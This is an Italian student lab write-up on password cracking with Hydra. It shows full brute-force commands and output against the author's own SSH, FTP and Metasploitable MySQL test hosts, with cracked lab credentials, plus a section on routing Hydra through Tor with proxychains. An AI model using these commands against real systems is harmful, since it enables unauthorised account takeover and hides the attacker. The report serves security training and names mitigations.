



S6 / L4

AUTHENTICATION CRACKING CON HYDRA

FLAVIO SCOGNAMIGLIO

TRACCIA

Si ricordi che la configurazione dei servizi costituisce essa stessa una parte integrante dell'esercizio. L'esercizio di oggi ha un duplice scopo:

- Fare pratica con Hydra per craccare l'autenticazione dei servizi di rete.*
- Consolidare le conoscenze dei servizi stessi tramite la loro configurazione.*

L'esercizio si svilupperà in due fasi:

- Una prima fase dove insieme vedremo l'abilitazione di un servizio SSH e la relativa sessione di cracking dell'autenticazione con Hydra.*
- Una seconda fase dove sarete liberi di configurare e craccare un qualsiasi servizio di rete tra quelli disponibili, ad esempio ftp, rdp, telnet, autenticazione HTTP.*

CONFIGURAZIONE

Per questa esercitazione, anzichè abilitare i servizi sulla mia ParrotOS, ho preferito installare e configurare su proxmox una **Debian** pura, ramo **stable**, precedentemente installata per scopi di test personali. Questa vm risponde all'indirizzo: 192.168.1.78

```
File Modifica Visualizza Terminale Schede Aiuto
root@debian:~# uname -a
Linux debian 6.1.0-21-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.90-1 (2024-05-03)
x86_64 GNU/Linux
root@debian:~#
```

```
File Modifica Visualizza Terminale Schede Aiuto
root@debian:~# ip a | grep ens18
2: ens18: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP gro
up default qlen 1000
    inet 192.168.1.78/24 brd 192.168.1.255 scope global dynamic noprefixroute en
s18
root@debian:~#
```

Dopo aver installato e aggiornato il sistema, ho aggiunto un nuovo utente “**test_user**” per lo scopo, con la password “**testpass**”. Ho in seguito provveduto ad installare ed abilitare il servizio ssh

```
Terminale - satana@debian: ~
File Modifica Visualizza Terminale Schede Aiuto
root@debian:~# adduser test_user
Aggiunta dell'utente «test_user» ...
Aggiunta del nuovo gruppo «test_user» (1002) ...
Adding new user 'test_user' (1002) with group 'test_user (1002)' ...
Creazione della directory home «/home/test_user» ...
Copia dei file da «/etc/skel» ...
Nuova password:
Reimmettere la nuova password:
passwd: password aggiornata correttamente
Modifica delle informazioni relative all'utente test_user
Inserire il nuovo valore o premere INVIO per quello predefinito
  Nome completo []:
  Stanza n° []:
  Numero telefonico di lavoro []:
  Numero telefonico di casa []:
  Altro []:
Le informazioni sono corrette? [S/n]
Adding new user 'test_user' to supplemental / extra groups 'users' ...
Aggiunta dell'utente «test_user» al gruppo «users» ...
root@debian:~#
```

```
File Modifica Visualizza Terminale Schede Aiuto
Trovato:2 http://deb.debian.org/debian bookworm InRelease
Trovato:3 http://deb.debian.org/debian bookworm-updates InRelease
Trovato:4 https://download.docker.com/linux/debian bookworm InRelease
Trovato:5 https://download.mono-project.com/repo/debian stable-buster InRelease
Lettura elenco dei pacchetti... Fatto
Generazione albero delle dipendenze... Fatto
Lettura informazioni sullo stato... Fatto
Tutti i pacchetti sono aggiornati.
Lettura elenco dei pacchetti... Fatto
Generazione albero delle dipendenze... Fatto
Lettura informazioni sullo stato... Fatto
Il seguente pacchetto è stato installato automaticamente e non è più richiesto:
  linux-image-6.1.0-18-amd64
Usare "apt autoremove" per rimuoverlo.
I seguenti pacchetti aggiuntivi saranno inoltre installati:
  openssh-sftp-server runit-helper
Pacchetti suggeriti:
  molly-guard monkeysphere ssh-askpass ufw
I seguenti pacchetti NUOVI saranno installati:
  openssh-server openssh-sftp-server runit-helper
0 aggiornati, 3 installati, 0 da rimuovere e 0 non aggiornati.
È necessario scaricare 528 kB di archivi.
Dopo quest'operazione, verranno occupati 2.214 kB di spazio su disco.
Continuare? [S/n]
```

```
File Modifica Visualizza Terminale Schede Aiuto
root@debian:~# systemctl status ssh
● ssh.service - OpenBSD Secure Shell server
   Loaded: loaded (/lib/systemd/system/ssh.service; enabled; preset: enabled)
   Active: active (running) since Thu 2024-07-04 07:52:15 CEST; 21s ago
     Docs: man:sshd(8)
           man:sshd_config(5)
   Main PID: 27571 (sshd)
     Tasks: 1 (limit: 3526)
    Memory: 1.9M
       CPU: 29ms
    CGroup: /system.slice/ssh.service
           └─27571 "sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"

lug 04 07:52:15 debian systemd[1]: Starting ssh.service - OpenBSD Secure Shell >
lug 04 07:52:15 debian sshd[27571]: Server listening on 0.0.0.0 port 22.
lug 04 07:52:15 debian sshd[27571]: Server listening on :: port 22.
lug 04 07:52:15 debian systemd[1]: Started ssh.service - OpenBSD Secure Shell s>
lines 1-16/16 (END)
```

HYDRA - SSH

TEST

L'accesso ssh da parrotOS al nuovo utente avviene con successo.

```
test_user@debian: ~  
[flavio@parrot]-[~]  
$ssh test_user@192.168.1.78  
The authenticity of host '192.168.1.78 (192.168.1.78)' can't be established.  
ED25519 key fingerprint is SHA256:l2+0/qUu4nVswjQ9e00v614Y7sWWX7oDrxebS7E5Fso.  
This key is not known by any other names.  
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes  
Warning: Permanently added '192.168.1.78' (ED25519) to the list of known hosts.  
test_user@192.168.1.78's password:  
Linux debian 6.1.0-21-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.90-1 (2024-05-03)  
x86_64  
  
The programs included with the Debian GNU/Linux system are free software;  
the exact distribution terms for each program are described in the  
individual files in /usr/share/doc/*/copyright.  
  
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent  
permitted by applicable law.  
test_user@debian:~$
```

ATTACCO

Per l'attacco ho utilizzato delle liste di dizionari poco popolate al fine di ottimizzare i tempi. Con altre liste più corpose ci sarebbero volute ore e ore, considerando anche l'abbassamento dei threads!

Ho ottenuto sia la password di test_user che di un altro utente che avevo creato in precedenza.

```
[flavio@parrot]-[~/Desktop]  
$hydra -L usernames.txt -P passwords.txt 192.168.1.78 -t 4 ssh  
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).  
  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-07-04 15:20:45  
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore  
[DATA] max 4 tasks per 1 server, overall 4 tasks, 532 login tries (1:19/p:28), ~133 tries per task  
[DATA] attacking ssh://192.168.1.78:22/  
[STATUS] 40.00 tries/min, 40 tries in 00:01h, 492 to do in 00:13h, 4 active  
[STATUS] 36.00 tries/min, 108 tries in 00:03h, 424 to do in 00:12h, 4 active  
[22][ssh] host: 192.168.1.78 login: test_user password: testpass  
[22][ssh] host: 192.168.1.78 login: crackme password: dragon
```


HYDRA - FTP / MYSQL

Sulla stessa debian, ho provveduto ad installare ed abilitare il servizio FTP. Anche in questo caso hydra non ha particolari problemi:

```
[flavio@parrot]-[~/Desktop]
$hydra -L usernames.txt -P passwords.txt 192.168.1.78 -t 4 ftp
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-07-04 15:39:19
[DATA] max 4 tasks per 1 server, overall 4 tasks, 532 login tries (l:19/p:28), ~133 tries per task
[DATA] attacking ftp://192.168.1.78:21/
[STATUS] 75.00 tries/min, 75 tries in 00:01h, 457 to do in 00:07h, 4 active
[21][ftp] host: 192.168.1.78 login: test_user password: testpass
[21][ftp] host: 192.168.1.78 login: crackme password: dragon
```

Hydra permette di interagire attraverso svariati protocolli e con la possibilità di essere settato a dovere in base alle nostre specifiche esigenze. Qui di sotto un esempio con il servizio MySQL sul target 192.168.1.101: metasploitable.

```
test_user@debian: ~
[flavio@parrot]-[~/Desktop]
$hydra -L usernames.txt -P passwords.txt 192.168.1.101 mysql
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-07-04 16:42:00
[INFO] Reduced number of tasks to 4 (mysql does not like many parallel connections)
[DATA] max 4 tasks per 1 server, overall 4 tasks, 667 login tries (l:23/p:29), ~167 tries per task
[DATA] attacking mysql://192.168.1.101:3306/
[3306][mysql] host: 192.168.1.101 login: root
[STATUS] 94.00 tries/min, 94 tries in 00:01h, 573 to do in 00:07h, 4 active
[STATUS] 75.00 tries/min, 225 tries in 00:03h, 442 to do in 00:06h, 4 active
[3306][mysql] host: 192.168.1.101 login: guest
```

POSSIBILI MITIGAZIONI

Per risolvere questi problemi è chiaro che bisogna utilizzare password forti e politiche di sicurezza adeguate per ogni protocollo coinvolto. Per **ssh** ad esempio, sarebbe opportuno disabilitare completamente l'accesso con la classica password, e preferire l'accesso tramite crittografia asimmetrica generando una coppia di chiavi.

HYDRA - VERSATILE

Ho fatto delle prove a scopo personale con proxychains per utilizzare hydra attraverso vari nodi della rete tor (come targets sempre le mie macchine virtuali). Se settato a dovere con i giusti parametri, sembra funzionare anche se con parecchi grattacapi. In questo caso mi sono avvalso di alcuni parametri di hydra per la gestione del timing e delle richieste, come: -w, -W, -t per i threads (come negli esempi sopra), -c per stabilire un limite alle connessioni simultanee. Gli esempi su proxychains sono volutamente incompleti e a scopo puramente educativo. E' interessante capire a fondo il punto di vista degli attaccanti cattivoni, al fine di studiarne le tecniche.

```
Terminale - satana@debian: ~
File Modifica Visualizza Terminale Schede Aiuto
root@debian:~# sudo apt install tor hydra proxychains
Lettura elenco dei pacchetti... Fatto
Generazione albero delle dipendenze... Fatto
Lettura informazioni sullo stato... Fatto
Il seguente pacchetto è stato installato automaticamente e non è più richiesto:
  linux-image-6.1.0-18-amd64
Usare "sudo apt autoremove" per rimuoverlo.
I seguenti pacchetti aggiuntivi saranno inoltre installati:
  firebird3.0-common firebird3.0-common-doc libbson-1.0-0 libfbclient2
  libfreerdp2-2 libhashkit2 libmemcached11 libmongoc-1.0-0 libmongocrypt0
  libpq5 libproxychains3 libserf-1-1 libssh-4 libsvn1 libtommath1 libutf8proc2
  libwinpr2-2 tor-geoipdb torsocks
Pacchetti suggeriti:
  hydra-gtk freerdp2-x11 mixmaster torbrowser-launcher apparmor-utils nix
  obfs4proxy
I seguenti pacchetti NUOVI saranno installati:
  firebird3.0-common firebird3.0-common-doc hydra libbson-1.0-0 libfbclient2
  libfreerdp2-2 libhashkit2 libmemcached11 libmongoc-1.0-0 libmongocrypt0
  libpq5 libproxychains3 libserf-1-1 libssh-4 libsvn1 libtommath1 libutf8proc2
  libwinpr2-2 proxychains tor tor-geoipdb torsocks
0 aggiornati, 22 installati, 0 da rimuovere e 0 non aggiornati.
È necessario scaricare 9.204 kB di archivi.
Dopo quest'operazione, verranno occupati 34,7 MB di spazio su disco.
Continuare? [S/n]
```

```
Terminale - satana@debian: ~
File Modifica Visualizza Terminale Schede Aiuto
root@debian:~# service tor start
root@debian:~# nano /etc/proxychains.conf
```

Test connettività proxychains:

```
Terminale - satana@debian: ~
File Modifica Visualizza Terminale Schede Aiuto
root@debian:~# nano /etc/tor/torrc
root@debian:~# service tor restart
root@debian:~# nano /etc/proxychains.conf
root@debian:~# proxychains curl https://google.com
ProxyChains-3.1 (http://proxychains.sf.net)
|DNS-request| google.com
|D-chain| -<-127.0.0.1:9050-<->-4.2.2.2:53-<->-OK
|DNS-response| google.com is 142.251.140.46
|D-chain| -<-127.0.0.1:9050-<->-142.251.140.46:443-<->-OK
<HTML><HEAD><meta http-equiv="content-type" content="text/html;ch
<TITLE>302 Moved</TITLE></HEAD><BODY>
<H1>302 Moved</H1>
The document has moved
<A HREF="https://www.google.com/sorry/index?continue=https://goo
gS53GVNGNHUmrQGIjDxmavvellKFAVsxpu2Merh9LposfcUJ4NXZgKLbntlUowKX
6wyAXJKGVNPU1JZX0FCVVNJvkvfTkVUX01FU1NBR0VaAUM">here</A>.
</BODY></HTML>
root@debian:~#
```

```
Terminale - satana@debian: ~
File Modifica Visualizza Terminale Schede Aiuto
GNU nano 7.2 /etc/proxychains.conf *
#
#
# Examples:
#
# socks5 192.168.67.78 1080 lamer secret
# http 192.168.89.3 8080 justu hidden
#
# socks4 192.168.1.49 1080
# http 192.168.39.93 8080
#
#
# proxy types: http, socks4, socks5
# ( auth types supported: "basic"-http "user/pass"-socks )
#
[ProxyList]
# add proxy here ...
# meanwhile
# defaults set to "tor"
socks5 127.0.0.1 9050
^G Guida ^O Salva ^W Cerca ^K Taglia ^T Esegui ^C Posizione
^X Esci ^R Inserisci ^\ Sostituisc ^U Incolla ^J Giustifica ^_ Vai a riga
```

FINE